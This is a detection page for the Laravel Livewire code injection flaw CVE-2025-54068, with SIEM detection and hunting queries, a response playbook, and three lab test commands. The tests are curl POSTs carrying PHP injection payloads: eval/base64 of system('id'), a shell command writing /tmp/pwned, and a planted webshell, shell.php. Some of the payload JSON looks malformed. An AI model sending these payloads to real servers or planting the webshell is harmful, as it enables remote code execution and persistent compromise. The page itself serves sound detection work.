CVE-2025-54068

Laravel Livewire Code Injection (CVE-2025-54068)

Detects exploitation of CVE-2025-54068, a code injection vulnerability in Laravel Livewire. This KEV-listed vulnerability allows attackers to inject and execute arbitrary PHP code through Livewire component handling, potentially leading to remote code execution on affected Laravel applications.

Vulnerability Intelligence

KEV — Known Exploited

CVSS

9.8
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2025-54068 Laravel Livewire Code Injection (CVE-2025-54068)?

Laravel Livewire Code Injection (CVE-2025-54068) (CVE-2025-54068) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Laravel Livewire Code Injection (CVE-2025-54068), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Azure Monitor, Microsoft Sentinel. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence
Microsoft Sentinel / Defender
kusto
union DeviceNetworkEvents, DeviceProcessEvents, DeviceFileEvents
| where TimeGenerated > ago(24h)
| where (ActionType in ("HttpRequestReceived", "NetworkConnectionFound") and (RemoteUrl contains "/livewire/message" or RemoteUrl contains "/livewire/upload-file")) or (FileName endswith ".php" and FolderPath contains "livewire" and InitiatingProcessCommandLine contains "eval(")
| extend SuspiciousPayload = extract(@"(eval\(|base64_decode\(|system\(|exec\(|shell_exec\(|passthru\()", 0, tostring(AdditionalFields))
| where isnotempty(SuspiciousPayload) or (ActionType == "HttpRequestReceived" and toint(ResponseCode) between (200 .. 299) and (RequestBody contains "eval(" or RequestBody contains "base64_decode(" or RequestBody contains "__construct" or RequestBody contains "$this->" and RequestBody contains "system("))
| project TimeGenerated, DeviceName, ActionType, RemoteUrl, RemoteIP, InitiatingProcessAccountName, SuspiciousPayload, AdditionalFields
| order by TimeGenerated desc

Detects HTTP requests to Laravel Livewire endpoints containing code injection payloads and suspicious PHP function calls indicative of CVE-2025-54068 exploitation.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint Azure Monitor Microsoft Sentinel

Required Tables

DeviceNetworkEvents DeviceProcessEvents DeviceFileEvents

False Positives

  • Legitimate Livewire component updates containing complex PHP object serialization
  • Security scanners or penetration testing tools probing Livewire endpoints
  • Development environments with debug-mode Livewire payloads

Sigma rule & cross-platform mapping

The detection logic for Laravel Livewire Code Injection (CVE-2025-54068) (CVE-2025-54068) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2025-54068 Basic eval() Injection via Livewire Message Endpoint

    Expected signal: HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.

  2. Test 2CVE-2025-54068 Shell Command Execution via Livewire Injection

    Expected signal: Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.

  3. Test 3CVE-2025-54068 Webshell Deployment Simulation

    Expected signal: File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.


Response Playbook

Triage

  1. Identify the source IP(s) making POST requests to /livewire/message or /livewire/upload-file and determine if they are known scanners, internal hosts, or external threat actors.
  2. Inspect the raw POST body of flagged requests for PHP code injection payloads (eval, base64_decode, system, exec, shell_exec, passthru) and capture full request/response pairs for forensic review.
  3. Check web server and PHP error logs for eval() execution errors, unexpected output, or new file writes in the Laravel storage or public directories within the exploitation timeframe.
  4. Determine if the Laravel application is running an unpatched version of Livewire by reviewing composer.lock for the livewire/livewire package version and comparing against the patched commit ef04be759da41b14d2d129e670533180a44987dc.

Containment

  1. Immediately block the offending source IP(s) at the WAF or perimeter firewall and apply rate-limiting to all /livewire/* routes pending patch deployment.
  2. Apply the official Livewire patch by upgrading livewire/livewire to the fixed version via composer update livewire/livewire, then restart PHP-FPM and the web server to ensure patched code is loaded.

Evidence Collection

  1. Preserve all web server access and error logs covering the exploitation window, including full POST body capture if available (ensure PII handling compliance before retention).
  2. Capture a disk image or file system snapshot of the webroot and Laravel storage directories to identify any webshells, malicious files, or modified PHP files written during exploitation.

Escalation Criteria

  • ! Escalate to incident response if any reverse shell, webshell, or unauthorized PHP file is found in the application directory, indicating successful code execution.
  • ! Escalate immediately if lateral movement indicators are observed from the web server host, such as unexpected outbound connections, SSH brute force, or credential access attempts post-exploitation.

Investigation Guide

Forensic Artifacts

  • > Web server access logs showing POST requests to /livewire/message or /livewire/upload-file with anomalous payload sizes or encoded content.
  • > PHP error logs capturing eval() failures, unexpected function calls, or inclusion of remote resources.
  • > Filesystem artifacts: newly created .php files in storage/app, public/, or bootstrap/cache directories not corresponding to deployment activity.
  • > Process execution records showing PHP-FPM or the web server process spawning unexpected child processes (bash, curl, wget, python).

Tuning Guidance

Begin with medium confidence and tune by baseline-ing normal Livewire POST payload structures for your application. Allowlist known component fingerprints and encoded class names that legitimately appear in request bodies. Reduce false positives from security scanners by excluding known scanner IP ranges. For process-based detections, refine the PHP parent process list to match the exact binary names on your OS distribution. Elevate to high confidence after two weeks of tuning with low false positive rates.


Hunting Queries

Hunt for PHP web server processes spawning unexpected shell or network utility children, a strong indicator of successful Livewire RCE exploitation.

Hunting — KQL
kql
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in ("php", "php-fpm", "php8.0", "php8.1", "php8.2", "php8.3")
| where FileName in ("bash", "sh", "curl", "wget", "nc", "ncat", "python", "python3", "perl")
| where InitiatingProcessParentFileName in ("nginx", "apache2", "httpd", "php-fpm")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl
index=endpoint sourcetype IN ("crowdstrike", "sysmon", "auditd") EventCode IN (1, "PROCESS_START") ParentImage IN ("*php*", "*php-fpm*") Image IN ("*bash*", "*sh", "*curl*", "*wget*", "*python*", "*perl*") | table _time, host, ParentImage, Image, CommandLine | sort -_time

Atomic Red Team Tests

Test 1 CVE-2025-54068 Basic eval() Injection via Livewire Message Endpoint
linux

Simulates an attacker sending a crafted POST request to the Livewire /livewire/message endpoint with an eval()-based PHP code injection payload to test detection coverage.

Command

bash
curl -s -X POST http://TARGET_HOST/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"test","name":"evil","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"test","data":{},"dataMeta":[],"checksum":"test"},"updates":[{"type":"callMethod","payload":{"id":"test","method":"__construct","params":["eval(base64_decode(\"c3lzdGVtKCdpZCcp\"));"]}}]}'

Cleanup

bash
Review and rotate any credentials accessible from the web server process; remove any test artifacts written during simulation.

Expected Telemetry

HTTP POST to /livewire/message with base64-encoded payload containing system() call; PHP process may log eval() warning; web server logs capture anomalous request body.

Expected Detection

SPL and KQL queries should flag the request based on base64_decode and eval pattern matching in the POST body.

Test 2 CVE-2025-54068 Shell Command Execution via Livewire Injection
linux

Tests whether the detection stack captures PHP-spawned shell processes resulting from successful Livewire code injection, simulating the post-exploitation phase.

Command

bash
# Run on a lab host with a vulnerable Laravel+Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"abc","name":"test","locale":"en","path":"/test"},"serverMemo":{"children":[],"errors":[],"htmlHash":"abc","data":{},"dataMeta":[],"checksum":"abc"},"updates":[{"type":"callMethod","payload":{"id":"abc","method":"mount","params":["system(\"id > /tmp/pwned\");"]}}}]}'

Cleanup

bash
rm -f /tmp/pwned; verify no persistent backdoor files were created in the webroot or storage directories.

Expected Telemetry

Process creation event: php or php-fpm spawning /bin/sh with argument 'id > /tmp/pwned'; file creation event at /tmp/pwned; web server access log entry for the crafted POST.

Expected Detection

Elastic EQL sequence rule and CrowdStrike CQL should fire on the PHP → shell process spawn chain.

Test 3 CVE-2025-54068 Webshell Deployment Simulation
linux

Simulates an attacker using the Livewire code injection to write a PHP webshell to the public directory, testing file creation-based detections and post-exploitation persistence visibility.

Command

bash
# Lab-only: requires vulnerable Livewire installation
curl -s -X POST http://127.0.0.1:8000/livewire/message \
  -H 'Content-Type: application/json' \
  -H 'X-Livewire: true' \
  -d '{"fingerprint":{"id":"xyz","name":"pwn","locale":"en","path":"/"},"serverMemo":{"children":[],"errors":[],"htmlHash":"xyz","data":{},"dataMeta":[],"checksum":"xyz"},"updates":[{"type":"callMethod","payload":{"id":"xyz","method":"mount","params":["file_put_contents(\"/var/www/html/public/shell.php\",\"<?php system($_GET[\\"c\\"]); ?>\");"]}}}]}'

Cleanup

bash
rm -f /var/www/html/public/shell.php; audit webroot for any other unexpected .php files created during testing.

Expected Telemetry

File creation event for shell.php in public/ directory initiated by php-fpm or web server process; subsequent HTTP GET requests to /shell.php with command parameters.

Expected Detection

File integrity monitoring and EDR file creation events should alert on web process writing .php files to webroot; web access logs capturing requests to newly created shell.php.

Related Detections